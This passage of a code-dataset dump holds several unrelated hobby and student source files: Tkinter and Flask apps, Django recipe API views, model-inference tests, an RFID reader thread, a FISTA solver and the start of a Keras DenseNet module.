estilos.create_window((0, 0), window=scrol, anchor=\"nw\")\n estilos.configure(yscrollcommand=scrolBar.set, width=1572, height=635)\n\n ttk.Label(scrol, text=\"MATRIZ\", font=(\"Arial\", 17), background='OliveDrab1', foreground=\"gray\").grid(column=0, row=0)\n ttk.Label(scrol, text=\"ORIGINAL\", font=(\"Arial\", 17), background='OliveDrab1', foreground=\"gray\").grid(column=0,row=1)\n ttk.Label(scrol, text=\"RESULTADO\", font=(\"Arial\", 17), background='OliveDrab1', foreground=\"gray\").grid(column=1, row=0)\n ttk.Label(scrol, text=\"OPERACOIN\", font=(\"Arial\", 17), background='OliveDrab1', foreground=\"gray\").grid(column=1,row=1)\n\n editor = scrolledtext.ScrolledText(scrol, undo=True, width=80, height=28, font=(\"Arial\", 12),background=\"mint cream\", foreground=\"black\")\n editor.grid(column=0, row=2, pady=25, padx=25)\n\n consola = scrolledtext.ScrolledText(scrol, undo=True, width=80, height=28, font=(\"Arial\", 12),background=\"black\", foreground=\"white\")\n consola.grid(column=1, row=2, pady=25, padx=25)\n\n #########################__Barra de herramientas__#######################\n barraHerramientas = Menu(contenedor)\n contenedor.config(menu=barraHerramientas, width=1572, height=635)\n ######################__abrir archivo y guardar matricez__#################\n opcionArchivo = Menu(barraHerramientas, tearoff=0)\n opcionArchivo.add_command(label=\"CARGAR XML\", command=lambda: function.abrir(editor, combo))\n #####################__OPERACIONES CON MATRICES__###########################\n opcionOperacion = Menu(barraHerramientas, tearoff=0)\n opcionOperacion.add_command(label=\"Giro vertical\", command=lambda: function.buscar(combo.get()))\n opcionOperacion.add_command(label=\"Giro horizontal\", command=lambda: print(combo.get()))\n opcionOperacion.add_command(label=\"Linea vertical\", command=lambda: function.buscar(self.seleccion))\n opcionOperacion.add_command(label=\"Linea Horizontal\", command=lambda: function.buscar(self.seleccion))\n opcionOperacion.add_command(label=\"Insertar rectangulo\", command=lambda: function.buscar(self.seleccion))\n opcionOperacion.add_command(label=\"Insertar Triangulo\", command=lambda: function.buscar(self.seleccion))\n ####################__reporte__###############################################\n opcionReporte = Menu(barraHerramientas, tearoff=0)\n opcionReporte.add_command(label=\"REPORTE\", command=lambda: function.reporte())\n ####################__informacion__##########################################\n informacion = Menu(barraHerramientas, tearoff=0)\n informacion.add_command(label=\"Informacion del estudiante\", command=lambda: function.info())\n informacion.add_command(label=\"Documentacion\", command=lambda: function.documentacion())\n\n barraHerramientas.add_cascade(label=\"Archivo\", menu=opcionArchivo)\n barraHerramientas.add_cascade(label=\"Operaciones\", menu=opcionOperacion)\n barraHerramientas.add_cascade(label=\"Reportes\", menu=opcionReporte)\n barraHerramientas.add_cascade(label=\"Ayuda\", menu=informacion)\n contenedorPrincipal.grid(sticky=\"news\")\n estilos.grid(row=0, column=1)\n scrolBar.grid(row=0, column=2, sticky=\"ns\")\n editor.focus()","repo_name":"KevinPozuelos/IPC2_Proyecto2_201800992","sub_path":"Interface.py","file_name":"Interface.py","file_ext":"py","file_size_in_byte":4628,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"23540174427","text":"import pytest\nimport torchaudio\nfrom torchaudio.prototype.pipelines import SQUIM_OBJECTIVE\n\n\n@pytest.mark.parametrize(\n \"lang,expected\",\n [\n (\"en\", [0.9978380799293518, 4.23893404006958, 24.217193603515625]),\n ],\n)\ndef test_squim_objective_pretrained_weights(lang, expected, sample_speech):\n \"\"\"Test that the metric scores estimated by SquimObjective Bundle is identical to the expected result.\"\"\"\n bundle = SQUIM_OBJECTIVE\n\n # Get SquimObjective model\n model = bundle.get_model()\n # Create a synthetic waveform\n waveform, sample_rate = torchaudio.load(sample_speech)\n scores = model(waveform)\n for i in range(3):\n assert abs(scores[i].item() - expected[i]) < 1e-5\n","repo_name":"BriansIDP/audio","sub_path":"test/integration_tests/prototype/squim_pipeline_test.py","file_name":"squim_pipeline_test.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"32865764375","text":"from django.db.models import Sum\nfrom django.http import HttpResponse\nfrom django.shortcuts import get_object_or_404\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import filters, status\nfrom rest_framework.decorators import action\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.generics import ListAPIView\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import ModelViewSet\n\nfrom api.filters import RecipeFilter\nfrom api.serializers import (FavoriteDeleteSerializer, FavoriteSerializer,\n IngredientsSerializer, RecipeGetSerializer,\n RecipePostPatchDelSerializer,\n ShoppingChartSerializer, TagSerializer)\nfrom recipes.models import (Ingredient, Recipe, RecipeFavorite,\n RecipeIngredient, ShoppingCart, Tag)\nfrom recipes.pagination import RecipesResultsPagination\nfrom recipes.permissions import IsOwnerOrReadOnly\nfrom users.models import Subscription, User\n\nfrom .serializers import SubscribeSerializer, SubscriptionSerializer\n\n\nclass SubscriptionView(ListAPIView):\n permission_classes = (IsAuthenticated,)\n\n def get(self, request):\n user = request.user\n authors = User.objects.filter(subscribing__user=user)\n object = self.paginate_queryset(authors)\n serializer = SubscriptionSerializer(\n object,\n many=True,\n context={'request': request}\n )\n\n return self.get_paginated_response(serializer.data)\n\n\nclass SubscribeViewSet(ModelViewSet):\n permission_classes = [IsAuthenticated, ]\n http_method_names = ['post', 'delete']\n\n def get_queryset(self):\n return Subscription.objects.filter(user=self.request.user)\n\n def subscribe(self, request, pk):\n user = request.user\n data = {\n 'author': pk,\n 'user': user.pk,\n }\n serializer = SubscribeSerializer(data=data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n def unsubscribe(self, request, pk):\n user = request.user\n subscribe = Subscription.objects.filter(author=pk, user=user)\n subscribe.delete()\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass RecipesViewSet(ModelViewSet):\n queryset = Recipe.objects.all()\n permission_classes = [IsOwnerOrReadOnly, ]\n filter_backends = (DjangoFilterBackend,)\n filterset_class = RecipeFilter\n pagination_class = RecipesResultsPagination\n\n def get_serializer_class(self):\n if self.action == 'list' or self.action == 'retrieve':\n return RecipeGetSerializer\n\n return RecipePostPatchDelSerializer\n\n\nclass ShoppingCartViewSet(ModelViewSet):\n # queryset = ShoppingCart.objects.all()\n permission_classes = [IsAuthenticated]\n\n def get_queryset(self):\n current_user = self.request.user\n queryset = ShoppingCart.objects.filter(user=current_user)\n return queryset\n\n @action(\n detail=True,\n methods=('post', 'delete'),\n permission_classes=(IsAuthenticated,)\n )\n def shopping_cart(self, request, pk):\n recipe = get_object_or_404(Recipe, pk=pk)\n user = request.user\n if request.method == 'POST':\n if ShoppingCart.objects.filter(\n recipe_buy=recipe,\n user=user,\n ).exists():\n raise ValidationError('Рецепт уже в списке покупок.')\n ShoppingCart.objects.create(\n recipe_buy=recipe,\n user=user,\n )\n serializer = ShoppingChartSerializer(recipe)\n\n return Response(\n data=serializer.data,\n status=status.HTTP_201_CREATED,\n )\n else:\n shopping_cart = get_object_or_404(\n ShoppingCart,\n recipe_buy=recipe,\n user=user,\n )\n shopping_cart.delete()\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n def download_shopping_cart(self, request):\n ingredient_list = {}\n data = ['Ваш список покупок: ']\n i = 1\n ingredients = (\n RecipeIngredient.objects\n .filter(recipe__shopping_cart__user=request.user)\n .values_list('ingredient__name', 'ingredient__measurement_unit')\n .annotate(amount=Sum('amount'))\n )\n\n for ingredient in ingredients:\n name = ingredient[0]\n amount = ingredient[2]\n measure = ingredient[1]\n if name not in ingredient_list:\n ingredient_list[name] = [measure, amount]\n else:\n ingredient_list[name][1] += amount\n print(ingredient_list[name][1])\n\n for key, value in ingredient_list.items():\n result = f'\\n{i} - {key}({value[0]}) - {value[1]} '\n data.append(result)\n i += 1\n\n return HttpResponse(data, content_type='application')\n\n\nclass TagsViewSet(ModelViewSet):\n queryset = Tag.objects.all()\n serializer_class = TagSerializer\n pagination_class = None\n permission_classes = [AllowAny]\n\n\nclass IngredientsViewSet(ModelViewSet):\n queryset = Ingredient.objects.all()\n serializer_class = IngredientsSerializer\n filter_backends = (filters.SearchFilter,)\n pagination_class = None\n permission_classes = [AllowAny]\n search_fields = ('^name',)\n\n\nclass FavoriteViewSet(ModelViewSet):\n queryset = RecipeFavorite.objects.all()\n permission_classes = [IsAuthenticated]\n\n def create_favorite(self, request, favorite_id):\n user = request.user\n data = {\n 'favorite_recipe': favorite_id,\n 'user': user.id,\n }\n\n serializer = FavoriteSerializer(data=data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n return Response(data=serializer.data, status=status.HTTP_201_CREATED)\n\n def delete_favorite(self, request, favorite_id):\n user = request.user\n\n data = {\n 'favorite_recipe': favorite_id,\n 'user': user.id,\n }\n serializer = FavoriteDeleteSerializer(data=data)\n serializer.is_valid(raise_exception=True)\n subscribe = RecipeFavorite.objects.filter(\n favorite_recipe=favorite_id,\n user=user,\n )\n subscribe.delete()\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n","repo_name":"gleb60/Foodgram","sub_path":"backend/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34264542851","text":"from flask import Flask, render_template, flash, redirect, url_for, session, logging, request\r\nimport omdb\r\nimport tmdb\r\nimport wiki\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n return render_template(\"index.html\")\r\n\r\n\r\n@app.route(\"/search/\")\r\ndef movie_request(film):\r\n \"\"\"\r\n Hämtar data från de olika api:erna och skickar datan till\r\n en html-template för presentation.\r\n \"\"\"\r\n try:\r\n omdb_data = omdb.get_movie(film) # Contains title and plot among other data\r\n film_data = {\r\n 'title': omdb_data['Title'],\r\n 'plot': omdb_data['Plot'],\r\n 'video': tmdb.get_trailer(film),\r\n 'poster' : wiki.get_wiki(film)\r\n }\r\n \r\n if film_data[\"plot\"] == \"N/A\":\r\n film_data[\"plot\"] = \"Finns ingen beskrivning tillgänglig\"\r\n\r\n return render_template(\"search.html\", film_data=film_data)\r\n except KeyError:\r\n flash(\"Det finns ingen film med titeln du angav\", \"success\")\r\n return redirect(\"/\")\r\n\r\n\r\n@app.route(\"/search/\")\r\ndef page_not_found():\r\n ''' Runs when no search data is submitted '''\r\n flash(\"Ingen filmtitel angavs\", \"success\")\r\n return redirect(\"/\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.secret_key='8d9a8b0209ad22b1799ddd119b32dcb0'\r\n app.run(debug=True)\r\n","repo_name":"maxRudander/movie-lover","sub_path":"Topcats/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"20903194326","text":"# -*- coding: utf-8 -*-\n\n# Resource object code\n#\n# Created by: The Resource Compiler for PyQt5 (Qt v5.5.1)\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore\n\nqt_resource_data = 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= b\"\\\n\\x00\\x03\\\n\\x00\\x00\\x70\\x37\\\n\\x00\\x69\\\n\\x00\\x6d\\x00\\x67\\\n\\x00\\x0b\\\n\\x08\\x1d\\xfa\\xa7\\\n\\x00\\x62\\\n\\x00\\x67\\x00\\x5f\\x00\\x67\\x00\\x72\\x00\\x65\\x00\\x79\\x00\\x2e\\x00\\x6a\\x00\\x70\\x00\\x67\\\n\"\n\nqt_resource_struct = b\"\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\\n\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\\n\"\n\ndef qInitResources():\n QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)\n\ndef qCleanupResources():\n QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)\n\nqInitResources()\n","repo_name":"LeonidMurashov/Hurricane_in_glass","sub_path":"controls/code/reactor_res_rc.py","file_name":"reactor_res_rc.py","file_ext":"py","file_size_in_byte":2344310,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21741204810","text":"\"\"\"\ntest_modelinference.py\n\"\"\"\n\nimport pandas as pd\nimport pytest\nimport numpy as np\nfrom pipeline.modelinference import ModelInference\n\nmi = ModelInference(experiment_id=2)\n\ndef test_get_pos_tag():\n pos = mi.get_pos_tag(\"half way through the website now\")\n expect = [('half', 'NN'), ('way', 'NN'), ('through', 'IN'), ('the', 'DT'), ('website', 'NN'), ('now', 'RB')]\n assert pos == expect\n\ndef test_preprocess_text():\n fun = mi.preprocess_text(\"We need to be testing our code because it boost confidence\")\n expect = \"test code boost confidence\"\n assert fun == expect\n\ndef test_count_pos_tag():\n fun = mi.count_pos_tag(\"half way through the website now and #allgoingwell very \", 'noun')\n expect = 3\n \n assert fun == expect\n\ndef test_make_feature_data_type(get_make_features_data_type):\n expected_dtype = {\n 'mention_count':np.dtype('int64'),\n 'char_count':np.dtype('int64'),'word_count':np.dtype('int64'),\n 'uniq_word_count':np.dtype('int64'), 'htag_count':np.dtype('int64'), \n 'stopword_count':np.dtype('int64'), 'sent_count':np.dtype('int64'), \n 'avg_word_len':np.dtype('float64') ,'avg_sent_len':np.dtype('float64'),\n 'uniq_vs_words':np.dtype('float64'), 'stopwords_vs_words':np.dtype('float64'),\n 'title_word_count':np.dtype('int64'), 'uppercase_count':np.dtype('int64'),\n 'noun_count':np.dtype('int64'), 'verb_count':np.dtype('int64'),\n 'adj_count':np.dtype('int64'), 'adv_count':np.dtype('int64'),\n 'pron_count':np.dtype('int64'), 'cleaned_text':np.dtype('O')\n }\n assert get_make_features_data_type == expected_dtype\n\ndef test_make_feature_schema(get_make_features_columns):\n expected_schema = ['mention_count', 'char_count', 'word_count', 'uniq_word_count', 'htag_count', \n 'stopword_count', 'sent_count', 'avg_word_len','avg_sent_len', 'uniq_vs_words', 'stopwords_vs_words',\n 'title_word_count', 'uppercase_count','noun_count', 'verb_count', 'adj_count', \n 'adv_count', 'pron_count', 'cleaned_text']\n assert get_make_features_columns == expected_schema\n\ndef test_make_features_integer(dummy_data, expect_df):\n expect_df_int = expect_df[['mention_count', 'char_count', 'word_count', 'uniq_word_count', 'htag_count', \n 'title_word_count', 'uppercase_count', 'stopword_count', 'sent_count', 'adj_count', 'adv_count',\n 'noun_count', 'verb_count', 'pron_count']]\n\n feats_df = mi.make_features(dummy_data)\n actual_df_int = feats_df[['mention_count', 'char_count', 'word_count', 'uniq_word_count', 'htag_count', \n 'title_word_count', 'uppercase_count', 'stopword_count', 'sent_count', 'adj_count', 'adv_count',\n 'noun_count', 'verb_count', 'pron_count']]\n pd.testing.assert_frame_equal(expect_df_int, actual_df_int) is None\n\ndef test_make_features_avg_word_len_float(expect_df, dummy_data):\n expect_df_float = expect_df.avg_word_len\n feats_df = mi.make_features(dummy_data)\n actual_df_float = feats_df.avg_word_len\n assert pd.testing.assert_series_equal(expect_df_float, actual_df_float.round(1)) is None\n\ndef test_make_features_avg_sent_len_float(dummy_data, expect_df):\n expect_df_float = expect_df['avg_sent_len']\n feats_df = mi.make_features(dummy_data)\n actual_df_float = feats_df['avg_sent_len']\n assert pd.testing.assert_series_equal(expect_df_float, actual_df_float.round(1)) is None\n\ndef test_make_features_uniq_vs_words_float(dummy_data, expect_df):\n expect_df_float = expect_df['uniq_vs_words']\n feats_df = mi.make_features(dummy_data)\n actual_df_float = feats_df['uniq_vs_words']\n assert pd.testing.assert_series_equal(expect_df_float, actual_df_float.round(1)) is None\n\ndef test_make_features_stopwords_vs_words_float(dummy_data, expect_df):\n expect_df_float = expect_df['stopwords_vs_words']\n feats_df = mi.make_features(dummy_data)\n actual_df_float = feats_df['stopwords_vs_words']\n assert pd.testing.assert_series_equal(expect_df_float, actual_df_float.round(1)) is None\n\ndef test_make_features_string(dummy_data, expect_df):\n expect_df_str = expect_df['cleaned_text']\n feats_df = mi.make_features(dummy_data)\n actual_df_str = feats_df['cleaned_text']\n assert actual_df_str.equals(expect_df_str) is True\n\ndef test_transform_process_shape_is_1000(dummy_data):\n expect_shape = 1000\n vec_shape = mi.transform(dummy_data, 'cleaned_text').shape[1]\n assert vec_shape == expect_shape\n\ndef test_merged_shape_is_1018(dummy_data):\n expect_shape = 1018\n merge_shape = mi.merge(dummy_data).shape[1]\n assert merge_shape == expect_shape\n\ndef test_predicted_probability(dummy_data):\n expect = [0.3901, 0.1308, 0.4490]\n actual = mi.predicted_probability(dummy_data)\n assert len(actual) == len(expect)\n assert pytest.approx(actual, 0.1) == expect\n\ndef test_predicted_category_of_dummy_data_result(model_test_dummy_data):\n expect = np.array([0, 1, 0, 0, 1, 1, 0]).reshape(-1, 1)\n actual = mi.predicted_output_category(model_test_dummy_data)[1]\n np.array_equal(actual, expect) is True","repo_name":"danielAdama/sentiment-hate-system","sub_path":"src/tests/test_modelinference.py","file_name":"test_modelinference.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27491375550","text":"import os\nfrom flask import Flask, render_template, request, flash, redirect, url_for\nfrom flask_login import LoginManager, current_user, login_user, logout_user, login_required, UserMixin\nfrom flask_uploads import DOCUMENTS, IMAGES, TEXT, UploadSet, configure_uploads\nfrom flask_jwt import JWT, jwt_required, current_identity\nfrom flask_cors import CORS\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.datastructures import FileStorage\nfrom datetime import timedelta\nfrom .forms import LoginForm\nfrom .models.user import *\n\nfrom App.database import init_db, get_migrate\n\nfrom App.controllers import (\n setup_jwt\n)\n\nfrom App.views import (\n user_views,\n api_views\n)\n\nviews = [\n user_views,\n api_views\n]\n\ndef add_views(app, views):\n for view in views:\n app.register_blueprint(view)\n\n\ndef loadConfig(app, config):\n app.config['ENV'] = os.environ.get('ENV', 'DEVELOPMENT')\n if app.config['ENV'] == \"DEVELOPMENT\":\n app.config.from_object('App.config')\n else:\n app.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get('SQLALCHEMY_DATABASE_URI')\n app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')\n app.config['JWT_EXPIRATION_DELTA'] = timedelta(days=int(os.environ.get('JWT_EXPIRATION_DELTA')))\n app.config['DEBUG'] = os.environ.get('ENV').upper() != 'PRODUCTION'\n app.config['ENV'] = os.environ.get('ENV')\n for key, value in config.items():\n app.config[key] = config[key]\n\ndef create_app(config={}):\n app = Flask(__name__, static_url_path='/static')\n CORS(app)\n loadConfig(app, config)\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n app.config['TEMPLATES_AUTO_RELOAD'] = True\n app.config['PREFERRED_URL_SCHEME'] = 'https'\n app.config['UPLOADED_PHOTOS_DEST'] = \"App/uploads\"\n photos = UploadSet('photos', TEXT + DOCUMENTS + IMAGES)\n configure_uploads(app, photos)\n add_views(app, views)\n init_db(app)\n setup_jwt(app)\n app.app_context().push()\n return app\n \napp = create_app()\nlogin_manager = LoginManager(app)\n\n@login_manager.user_loader\ndef load_user(userid):\n return User.query.get(userid)\n\nmigrate = get_migrate(app)\n\n@app.route('/')\ndef index():\n return render_template('layout.html')\n\n@app.route('/login', methods=['GET'])\ndef login():\n form = LoginForm()\n return render_template('login.html', form=form)\n\n@app.route('/admin')\n@login_required\ndef admin():\n return render_template('admin.html')\n\n@app.route('/login', methods=['POST'])\ndef loginAction():\n form = LoginForm()\n if form.validate_on_submit():\n data = request.form\n user = User.query.filter_by(username = data['username']).first()\n if user and user.check_password(data['password']):\n flash('Logged in successfully!')\n login_user(user)\n return redirect(url_for('admin'))\n flash('Invalid credentials!')\n return redirect(url_for('login'))\n\n@app.route(\"/logout\", methods=['GET'])\n@login_required\ndef logout():\n logout_user()\n flash('Logged out!')\n return redirect(url_for('.login'))\n\n@app.route('/signup',methods=['POST'])\ndef signnup():\n userdata = request.get_json() # get userdata\n newuser = User(username=userdata['username'], email=userdata['email']) # create user object\n newuser.set_password(userdata['password']) # set password\n try:\n db.session.add(newuser)\n db.session.commit() # save user\n except IntegrityError: # attempted to insert a duplicate user\n db.session.rollback()\n return 'username already exists' # error message\n return 'user created' # success\n\n@app.route('/creatething', methods=['POST'])\n@jwt_required()\ndef create_todo(id):\n data = request.get_json()\n if id == 1:\n #create livestock\n newls = create_livestock(data['name'],data['quantity'],data['price'])\n db.session.add(newls)\n db.session.commit()\n return render_template('layout.html')\n if id == 2:\n #create crop\n crop = create_crop(data['name'],data['quantiity'],data['price'])\n db.session.add(crop)\n db.session.commit()\n return render_template('layout.html')\n if id == 3:\n #create chemicals\n new_chem = create_chemical(data['name'],data['quantiity'],data['npk1'],data['npk2'],data['npk3'])\n db.session.add(new_chem)\n db.session.commit()\n return render_template('layout.html')\n\n \n#id in this case would be if the thing is a livestock, crop or chemcial \n@app.route('/allthings', methods=['GET'])\n@jwt_required()\ndef get_task():\n tasks = User.query.filter_by(userid=current_identity.id).all()\n tasks = [User.toDict() for task in tasks]\n return json.dumps(tasks)\n\n\n# rember to add update and delete for tasks or crops idk what to call it also we gotta have a distintion for plants and crops","repo_name":"zanedotmp4/earthwormindustries","sub_path":"App/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21643896753","text":"from threading import Thread\nimport time\nfrom RPi import GPIO\nfrom mfrc522 import SimpleMFRC522\n\n\nclass RFID(Thread):\n def __init__(self, scandelay=5):\n GPIO.setwarnings(False)\n self.callbackFunc = None\n self.scanDelay = scandelay\n self.running = True\n self.reader = SimpleMFRC522()\n self.pairPath = None\n self.pairCallback = None\n Thread.__init__(self, args=(self,))\n self.start()\n\n def scanned(self, func):\n self.callbackFunc = func\n\n def run(self):\n while True:\n print(\"Hold a tag near the reader\")\n\n id, text = self.reader.read_no_block()\n while not id and self.running:\n id, text = self.reader.read_no_block()\n\n if self.pairPath is not None:\n print(\"Waiting for card.\")\n self.reader.write(self.pairPath)\n self.pairPath = None\n print(\"Card paired.\")\n self.pairCallback()\n\n if not id:\n print(\"closing rfid\")\n break\n print(\"ID: %s\\nText: %s\" % (id, text))\n\n self.callbackFunc(id, text.strip())\n\n # delay after clue given\n time.sleep(5)\n\n def pair_card(self, path, callback):\n self.pairCallback = callback\n self.pairPath = \"/\" + path\n\n def stop(self):\n self.running = False\n GPIO.cleanup()\n","repo_name":"Sandvoxel/ClueDevice","sub_path":"rfidmanger.py","file_name":"rfidmanger.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37629560608","text":"import time\nfrom math import sqrt\nimport numpy as np\nfrom scipy import linalg\n\n\ndef fista(A, b, l, maxit):\n x = np.zeros(A.shape[1])\n pobj = []\n t = 1\n z = x.copy()\n z = np.asmatrix(z).T\n L = linalg.norm(A) ** 2\n time0 = time.time()\n for _ in xrange(maxit):\n xold = x.copy()\n xold = np.asmatrix(xold).T\n print(A.shape,b.shape,z.shape)\n z = z + A.T.dot(b - A.dot(z)) / L\n x = soft_thresh(z, l / L)\n t0 = t\n t = (1. + sqrt(1. + 4. * t ** 2)) / 2.\n print (x - np.asmatrix(xold).T).shape\n z = x + ((t0 - 1.) / t)*(x - np.asmatrix(xold).T)\n this_pobj = 0.5 * linalg.norm(A.dot(x) - b) ** 2 + l * linalg.norm(x, 1)\n pobj.append((time.time() - time0, this_pobj))\n\n times, pobj = map(np.array, zip(*pobj))\n return x\n\ndef soft_thresh(x, l):\n print(np.sign(x).shape,np.maximum(np.abs(x) - l, 0.).shape)\n return np.multiply(np.sign(x), np.maximum(np.abs(x) - l, 0.))","repo_name":"vidyavnv/coms4772","sub_path":"code/tempcopy.py","file_name":"tempcopy.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33846922880","text":"# 学费计算器\n# 路飞学成共有15门编程课程，每门课程单价：10000元\n# .一次性购买3门课程及以上，每门课程优惠1.5元\n# . 一次性购买5门课程及以上，每门课程优惠2元\n# . 一次性购买10门以上， 赠送终身Vip, 优惠50元，并且赠送黑姑娘的签名照\n\nclass TuitionCalculator:\n def __int__(self) -> None:\n ...\n\n def doCalculator(self):\n sinle_price = 1000\n num = int(input(\"购买课程数量为：\"))\n pay: float\n if 3 <= num < 5:\n pay = num * (sinle_price - 1.5)\n elif 5 <= num < 10:\n pay = num * (sinle_price - 2)\n elif 10 <= num <= 15:\n pay = num * sinle_price - 50\n print(\"获得终身Vip一张\")\n print(\"获得黑姑娘签名照一张\")\n elif num > 15:\n print(\"请理性消费\")\n else:\n print(\"输入有误\")\n print(f\"本次消费金额为：{pay}\")","repo_name":"Andy-Fu/pythonProject","sub_path":"com/andy/testdemo1/TuitionCalculator.py","file_name":"TuitionCalculator.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43604933009","text":"from encodings import utf_8\r\nimport re\r\n\r\nf = open(\"waseemDataSet.txt\", encoding=\"utf8\")\r\ncount = 0\r\nracism = []\r\nsexism = []\r\nnone = []\r\n#print(words[len(words)-1] + \"aaaaa\")\r\nfor line in f:\r\n count += 1\r\n line = re.sub(r'[^a-zA-Z\\n]', ' ', line)\r\n line = re.sub(' +', ' ', line)\r\n check_line = \"Line{}: {}\".format(count, line.strip())\r\n if check_line[len(check_line)-6:] == \"racism\":\r\n racism.append(line + \"\\n\")\r\n if check_line[len(check_line)-6:] == \"sexism\":\r\n sexism.append(line + \"\\n\")\r\n if check_line[len(check_line)-4:] == \"none\":\r\n none.append(line + \"\\n\")\r\n\r\nf.close()\r\n\r\ntest = open(\"testset.txt\", \"w\", encoding='utf8')\r\ndev = open(\"devset.txt\", \"w\", encoding='utf8')\r\ntrain = open(\"trainset.txt\", \"w\", encoding='utf8')\r\n\r\ntrain.write(''.join(sexism[0:int(len(sexism)*.8)]) + ''.join(racism[0:int(len(racism)*.8)]) + ''.join(none[0:int(len(none)*.8)]))\r\ndev.write(''.join(sexism[int(len(sexism)*.8):int(len(sexism)*.9)]) + ''.join(racism[int(len(racism)*.8):int(len(racism)*.9)]) + ''.join(none[int(len(none)*.8):int(len(none)*.9)]))\r\ntest.write(''.join(sexism[int(len(sexism)*.9):]) + ''.join(racism[int(len(racism)*.9):]) + ''.join(none[int(len(none)*.9):]))\r\n\r\ntest.close()\r\ndev.close()\r\ntrain.close()\r\n","repo_name":"aday-94/IU-Spring23-L665MachineLearningforCL","sub_path":"HW4/waseem_processing.py","file_name":"waseem_processing.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31873234911","text":"\"\"\"DenseNet models for Keras.\n\n# Reference paper\n\n- [Densely Connected Convolutional Networks]\n (https://arxiv.org/abs/1608.06993) (CVPR 2017 Best Paper Award)\n\n# Reference implementation\n\n- [Torch DenseNets]\n (https://github.com/liuzhuang13/DenseNet/blob/master/models/densenet.lua)\n- [TensorNets]\n (https://github.com/taehoonlee/tensornets/blob/master/tensornets/densenets.py)\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport warnings\n\nBASE_WEIGTHS_PATH = (\n 'https://github.com/keras-team/keras-applications/'\n 'releases/download/densenet/')\nDENSENET121_WEIGHT_PATH = (\n BASE_WEIGTHS_PATH +\n 'densenet121_weights_tf_dim_ordering_tf_kernels.h5')\nDENSENET121_WEIGHT_PATH_NO_TOP = (\n BASE_WEIGTHS_PATH +\n 'densenet121_weights_tf_dim_ordering_tf_kernels_notop.h5')\nDENSENET169_WEIGHT_PATH = (\n BASE_WEIGTHS_PATH +\n 'densenet169_weights_tf_dim_ordering_tf_kernels.h5')\nDENSENET169_WEIGHT_PATH_NO_TOP = (\n BASE_WEIGTHS_PATH +\n 'densenet169_weights_tf_dim_ordering_tf_kernels_notop.h5')\nDENSENET201_WEIGHT_PATH = (\n BASE_WEIGTHS_PATH +\n 'densenet201_weights_tf_dim_ordering_tf_kernels.h5')\nDENSENET201_WEIGHT_PATH_NO_TOP = (\n BASE_WEIGTHS_PATH +\n 'densenet201_weights_tf_dim_ordering_tf_kernels_notop.h5')\n\nfrom keras import layers\nfrom keras import backend\nfrom keras import models\nfrom keras import utils as keras_utils\n\n# Image BGR\n\ndef preprocess_input_rgb(x):\n \"\"\"\n torch: will scale pixels between 0 and 1\n and then will normalize each channel with respect to the\n ImageNet dataset.\n \"\"\"\n x /= 255.\n mean = [0.485, 0.456, 0.406]\n std = [0.229, 0.224, 0.225]\n\n x = x[..., ::-1] # 'RGB'->'BGR'\n\n x[..., 0] -= mean[0]\n x[..., 1] -= mean[1]\n x[..., 2] -= mean[2]\n\n x[..., 0] /= std[0]\n x[..., 1] /= std[1]\n x[..., 2] /= std[2]\n return x\n# preprocess_input_rgb\n\ndef preprocess_input_bgr(x):\n \"\"\"\n torch: will scale pixels between 0 and 1\n and then will normalize each channel with 